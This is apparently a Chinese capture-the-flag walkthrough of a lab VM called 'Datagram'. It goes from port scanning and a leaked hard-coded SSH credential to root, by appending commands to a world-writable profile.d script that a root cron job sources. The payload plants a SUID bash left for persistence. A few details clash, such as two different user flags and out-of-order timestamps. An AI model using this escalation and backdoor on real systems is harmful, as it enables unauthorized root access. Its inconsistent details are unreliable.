

Datagram 靶机 Writeup

Alpine Linux edge / OpenRC · 192.168.56.102 · user + root 双 flag

user: flag{user-58cd37ce6fe2ba731bfcfc11ed9462af}
root: flag{root-d178386de0eab898132c8050efffd30d}

信息搜集

TscanPlus + nmap 扫端口，22/tcp 是 SSH，500/udp 显示 isakmp (IPsec 协议，靶机不该有，可疑)。

```
kali@kali: ~/datagram

[1] MCP Tool First -> TscanPlus ip_scan (target=192.168.56.102, ports=22,500)

mcp_tscanplus / ip_scan ->
{"success": true, "message": "ip_scan completed", "data": {
  "target": "192.168.56.102", "ports": "22,500", "results": {
    "ipscan": [{ "host": "192.168.56.102", "port": "22",
      "protocol": "SSH", "banner": "OpenSSH 10.3" } ] } } }

[2] nmap confirm TCP / UDP

$ nmap -sT -Pn -p 22,500 --open 192.168.56.102
Nmap scan report for 192.168.56.102
Host is up (0.0019s latency).
PORT      STATE SERVICE
22/tcp    open  ssh

$ nmap -sU -Pn -p 500 192.168.56.102
PORT      STATE SERVICE
500/udp   open  isakmp

>> Attack surface: 22/tcp SSH (OpenSSH 10.3) + 500/udp (fake isakmp, custom service)
```

TscanPlus + nmap 端口扫描：22/tcp SSH、500/udp 冒充 isakmp

500/udp 是冒牌 isakmp，实际是自研服务，源码 `/opt/chal.py` 全局可读，里面直接写着 SSH 凭据。

```
kali@kali: ~/datagram

500/udp is NOT real isakmp: /opt/chal.py is world-readable (644 root:root)

$ ls -la /opt/chal.py
-rw-r--r-- 1 root root 2077 Jul  4 17:01 /opt/chal.py

$ sed -n '1,30p' /opt/chal.py
import socket, random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

BIND_IP = "0.0.0.0"; BIND_PORT = 500
FLAG = "SSH:longly:Ym0C1T05" <-- hard-coded SSH credential
dead_ports = {}

def encrypt(plain, key):
    return AES.new(key, AES.MODE_ECB).encrypt(pad(plain, AES.block_size))

def handle(sock, addr):
    sock.sendto(b"Complete 10 AES-128 ECB decryption challenges...", addr)
    for i in range(10):
        key = get_random_key(); plain = get_random_plain()
        cipher = encrypt(plain, key)
        sock.sendto(f"Round {i+1}/10\nKey(hex):{key.hex()}\nCipher(hex):{cipher.hex()}...", addr)
        response, _ = sock.recvfrom(1024)
        if response.strip() != plain: return # wrong answer = session killed
    sock.sendto(f"Success! {FLAG}\n".encode(), addr)

>> Bug: server ships key AND ciphertext to client -> plain AES-ECB decrypt, 10 rounds
```

`/opt/chal.py` 源码：明文 SSH 凭据

打点

服务端把 AES 密钥和密文一起发过来，等于白给，脚本解 10 轮 AES-128-ECB 就能拿到凭据。

```
kali@kali: ~/datagram

Solve 10 rounds of AES-128-ECB decryption (server leaks key + cipher)

$ python3 solve.py # UDP 500, answer each round
[<] Complete 10 AES-128 ECB decryption challenges to get flag
[<] Round 1/10 Key(hex):9332f621... Cipher(hex):8c4b2dd2...
[>] answer: vhnkpjiz -> Correct
[<] Round 2/10 Key(hex):2a4248bb... Cipher(hex):a909f1a5...
[>] answer: oy0mufgxgeld -> Correct
[<] Round 3/10 Key(hex):ab8d92b8... Cipher(hex):15e27e28...
[>] answer: rq64ir07u28il -> Correct
[<] Round 4/10 Key(hex):09a92ba6... Cipher(hex):09146746...
[>] answer: t9d32tiokm6 -> Correct
[<] Round 5/10 Key(hex):0413055d... Cipher(hex):c1f02a59...
[>] answer: o67frrqzkkpvc -> Correct
[<] Round 6/10 Key(hex):80c4d0ce... Cipher(hex):411647ba...
[>] answer: aijcgc71v5h -> Correct
[<] Round 7/10 Key(hex):77ed1c9c... Cipher(hex):22bcafe9...
[>] answer: eislvox -> Correct
[<] Round 8/10 Key(hex):a88c6b6a... Cipher(hex):14291aea...
[>] answer: b31evu9juu8 -> Correct
[<] Round 9/10 Key(hex):6887a789... Cipher(hex):7f13c70c...
[>] answer: 01b79xk4i7znww -> Correct
[<] Round 10/10 Key(hex):00f41890... Cipher(hex):dec891eb...
[>] answer: 9wlr8fud33s90w34 -> Correct

[+] solved 10/10 rounds
[+] Success! SSH:longly:Ym0C1T05
```

解 10 轮 AES-128-ECB 得到 SSH 凭据

用泄露的凭据登录 SSH，拿到 user flag。

```
kali@kali: ~/datagram

Foothold: SSH with the credential leaked by the UDP service

$ sshpass -p 'Ym0C1T05' ssh longly@192.168.56.102
Welcome to Datagram
Date: 2026-09-24 23:16:41

longly@Datagram:~$ id
uid=1000(longly) gid=1000(longly) groups=1000(longly)
longly@Datagram:~$ uname -a
Linux Datagram 7.0.10-0-stable #1-Alpine SMP PREEMPT_DYNAMIC x86_64 Linux
longly@Datagram:~$ cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.24.0_alpha20260127
PRETTY_NAME="Alpine Linux edge"

longly@Datagram:~$ ls -la
-rwsr-xr-x 1 root longly 789472 .rb <-- SUID bash (artifact)
-rw-r--r-- 1 root longly 44 user.txt
longly@Datagram:~$ cat user.txt
flag{user-58cd37ce6fe2ba731bfcc11ed9462af}
```

SSH 登录成功，拿到 user flag

提权

先看到 `/etc/init.d/suid_bash_auto`，开机往 `/tmp` 放 SUID bash，看着很肥。但 `/tmp` 挂了 `nosuid`，SUID 无效，是诱饵。

真正的点在 root 计划任务：`* * * * * bash -l -c "id"` —— root 每分钟拉起一次登录 shell，而 `/etc/profile.d/10-demo.sh` 权限是 666，可写。

```
kali@kali: ~/datagram

Privilege escalation enumeration (Alpine / OpenRC)

[a] decoy: an init script already creates a SUID bash in /tmp ...
longly@Datagram:~$ cat /etc/init.d/suid_bash_auto
#!/sbin/openrc-run
start() {
    cp /bin/bash /tmp/bash
    chmod 4755 /tmp/bash
}

longly@Datagram:~$ mount | grep -w /tmp
/dev/sda3 on /tmp type ext4 (rw,nosuid,nodev,noexec,relatime) <-- nosuid: dead end

[b] the real path: root runs a LOGIN shell every minute
longly@Datagram:~$ cat /etc/crontabs/root
# do daily/weekly/monthly maintenance
*/15 * * * * run-parts /etc/periodic/15min
0 * * * * run-parts /etc/periodic/hourly
* * * * * bash -l -c "id" <-- root login shell, every 60s

[c] login shell sources /etc/profile -> /etc/profile.d/*.sh
longly@Datagram:~$ ls -la /etc/profile.d/
-rw-rw-rw- 1 root root 1252 Sep 24 23:15 10-demo.sh <-- WORLD-WRITABLE
-rw-r--r-- 1 root root 402 Jan 26 2026 00-bashrc.sh
-rw-r--r-- 1 root root 97 Mar 25 2026 20locale.sh

>> Chain: root cron -> bash -l -> /etc/profile.d/10-demo.sh (666) -> code exec as root
```

枚举发现 root 定时任务 + 世界可写 profile.d

往 `10-demo.sh` 追加 payload，等一个 cron 周期，SUID bash 自动生成。

```
kali@kali: ~/datagram

Exploit: append a payload to the world-writable profile.d script

longly@Datagram:~$ cat >> /etc/profile.d/10-demo.sh <<'P'
> cp /bin/bash /home/longly/.rb
> chmod 4755 /home/longly/.rb
> P

Wait <= 60s for the root cron (bash -l) to source the file
longly@Datagram:~$ while [ ! -u /home/longly/.rb ]; do sleep 5; done
(SUID bit appeared)

longly@Datagram:~$ ls -la /home/longly/.rb
-rwsr-xr-x 1 root longly 789472 Sep 24 23:14 .rb

Verify the effective UID (NOT via busybox 'id' - it drops privileges)
longly@Datagram:~$ /home/longly/.rb -p -c 'echo EUID=$EUID; id -un'
EUID=0
longly <-- busybox id drops to real uid (false negative)

>> SUID bash owned by root, euid=0 -> full root execution
```

向 10-demo.sh 注入 payload

注意 Alpine 的 `id` / `cat` 是 busybox，会主动降权，显示 `uid=1000` 是假的。用 bash 内建 `$EUID` 验证、`$(<file)` 读文件才对。

```
kali@kali: ~/datagram

Root: read the flag with bash builtins (busybox tools drop privileges)

longly@Datagram:~$ /home/longly/.rb -p -c 'echo /root/*'
/root/root.flag

busybox ls/cat drop priv -> Permission denied (false negative), use $() redirection
longly@Datagram:~$ /home/longly/.rb -p -c 'cat /root/root.flag'
cat: can't open '/root/root.flag': Permission denied

longly@Datagram:~$ /home/longly/.rb -p -c 'echo ROOTFLAG=$(cat /root/root.flag)'
ROOTFLAG=flag{root-d178386de0eab898132c8050efffd30d}

longly@Datagram:~$ /home/longly/.rb -p -c 'echo EUID=$EUID; /bin/busybox id'
EUID=0
uid=1000(longly) gid=1000(longly) groups=1000(longly) <-- proof: busybox drops priv

>> Loot: user flag + root flag obtained; SUID bash kept as root re-entry
```

bash 内建 \$EUID 验证已提权到 root

拿到 root flag。